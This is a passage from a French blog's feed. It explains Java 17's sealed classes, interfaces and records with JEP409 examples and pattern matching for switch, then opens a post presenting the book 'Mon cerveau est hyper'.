&lt;li&gt;elle peut être déclarée &lt;code&gt;final&lt;/code&gt; et l&amp;rsquo;héritage s&amp;rsquo;arrête là. (Pour rappel, un &lt;code&gt;Record&lt;/code&gt; est implicitement &lt;code&gt;final&lt;/code&gt;) ;&lt;/li&gt;
&lt;li&gt;elle peut être déclarée &lt;code&gt;sealed&lt;/code&gt; et permettre l&amp;rsquo;héritage mais restreint ;&lt;/li&gt;
&lt;li&gt;elle peut enfin être déclarée &lt;code&gt;non-sealed&lt;/code&gt; et permettre l&amp;rsquo;héritage en enlevant le sceau pour les classes sous elle. Une classe scellée ne peut empêcher l&amp;rsquo;un de ses enfants d&amp;rsquo;enlever son sceau.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ces trois &lt;em&gt;modifiers&lt;/em&gt; sont évidemment exclusifs. Voici l&amp;rsquo;exemple de &lt;a href="https://openjdk.java.net/jeps/409"&gt;JEP409&lt;/a&gt; illustrant ces 3 situations :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;com.example.geometry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;abstract&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Shape&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;permits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Circle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Square&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WeirdShape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Circle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;permits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TransparentRectangle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FilledRectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TransparentRectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FilledRectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Square&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;non-sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;WeirdShape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;utilisation est tout à fait semblable pour les interfaces&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;com.example.celestial&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="kd"&gt;sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;Celestial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;permits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Planet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Star&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Comet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Planet&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Celestial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Star&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Celestial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Comet&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Celestial&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et pour les classes enregistrements (&lt;em&gt;records&lt;/em&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;com.example.expression&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt; &lt;span class="nc"&gt;Expr&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;permits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ConstantExpr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PlusExpr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TimesExpr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NegExpr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;ConstantExpr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;PlusExpr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;TimesExpr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;NegExpr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Expr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;&lt;em&gt;Sealed classes and pattern matching&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Les classes scellées vont &lt;em&gt;bien se mettre&lt;/em&gt; avec le &lt;em&gt;pattern matching&lt;/em&gt; (j&amp;rsquo;avais dit que l&amp;rsquo;on en reparlerait !). JDK17 propose en &lt;em&gt;preview&lt;/em&gt; le &lt;em&gt;pattern matching&lt;/em&gt; pour le &lt;code&gt;switch&lt;/code&gt; (&lt;em&gt;pattern matching for switch&lt;/em&gt;). L&amp;rsquo;idée est d&amp;rsquo;étendre les types autorisés dans un switch (actuellement les types numériques, les énumérations et les &lt;code&gt;String&lt;/code&gt;) à d&amp;rsquo;autres « choses » ayant un nombre limité et connu de valeurs… et c&amp;rsquo;est le cas des classes scellées puisque le nombre d&amp;rsquo;enfants est fixés (même si le nombre de petit-enfants ne l&amp;rsquo;est pas).&lt;/p&gt;
&lt;p&gt;En reprenant l&amp;rsquo;exemple des formes ci-dessus, on pourrait actuellement écrire ceci (l&amp;rsquo;exemple est un peu discutable, il n&amp;rsquo;utilise pas de &lt;em&gt;pattern matching&lt;/em&gt; pour &lt;code&gt;instanceof&lt;/code&gt;… qui ne serait pas très utile puisque le polymorphisme fait le boulot pour &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Square&lt;/code&gt;) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Circle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Square&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IncompatibleClassChangeError&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le compilateur ne peut être sûr que les tests (&lt;code&gt;if&lt;/code&gt;) couvrent toutes les sous-classes de &lt;code&gt;Shape&lt;/code&gt;. Le dernier &lt;code&gt;else&lt;/code&gt; est inatteignable mais le compilateur ne peut pas le savoir et s&amp;rsquo;il « manque » un test, ce ne sera pas détecté.&lt;/p&gt;
&lt;p&gt;Si la &lt;em&gt;preview&lt;/em&gt; du &lt;em&gt;pattern matching for switch&lt;/em&gt; est maintenue, on pourra écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Shape&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;double&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shape&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// pattern matching switch&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Circle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Square&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// no default needed!&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… mais c&amp;rsquo;est une autre histoire…&lt;/p&gt;
&lt;p&gt;À ceci s&amp;rsquo;ajoutent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une nouvelle implémentation des générateurs de nombres pseudoaléatoires (&lt;a href="https://openjdk.java.net/jeps/356"&gt;JEP356&lt;/a&gt;) ;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;API &lt;code&gt;Applet&lt;/code&gt; est dépréciée et appelée à être retirée. Les fournisseurs de navigateurs internet (&lt;em&gt;web browsers&lt;/em&gt;) ayant retirés, ou annoncés que ce serait fait, le support des applets Java. S&amp;rsquo;en rappelle-t-on d&amp;rsquo;ailleurs ?&lt;/li&gt;
&lt;li&gt;la suppression annoncée de plusieurs classes dépréciées.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et là, on a fait le tour de certains changements et nouvelles fonctionnalités de la version 12 à 17… en ± 3 ans. En espérant que ça vous aide…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo perso au détour d&amp;rsquo;une balade&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Livre #5 - Mon cerveau est hyper</title><link href="http://blog.namok.be/2021-06-12-livre-5-mon-cerveau-est-hyper.html" rel="alternate"/><published>2021-06-12T00:00:00+02:00</published><updated>2021-06-12T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2021-06-12:/2021-06-12-livre-5-mon-cerveau-est-hyper.html</id><summary type="html">Livre #5 - Mon cerveau est hyper</summary><content type="html">&lt;p&gt;&lt;img alt="tamas-pap-EwJwfOj-wA0-unsplash-960.jpg, juin 2021" src="/images/tamas-pap-EwJwfOj-wA0-unsplash-960.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Dans la section « présenter un livre » commencée il y a bientôt 10 ans et ne contenant que quatre livres : deux dont je parle encore très souvent &amp;mdash; &lt;a href="2013-0419-le-livre-vert.html"&gt;Le livre vert&lt;/a&gt; et &lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;Cessez d&amp;rsquo;être gentil, soyez vrais&lt;/a&gt; &amp;mdash; et qui restent des &lt;em&gt;livres à lire&lt;/em&gt; et deux d&amp;rsquo;informatique, quasi obsolètes maintenant, voici :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mon cerveau est Hyper&lt;/strong&gt; de &lt;a href="https://emotionalcare.be/"&gt;Cathy Assenheim&lt;/a&gt;&lt;/p&gt;
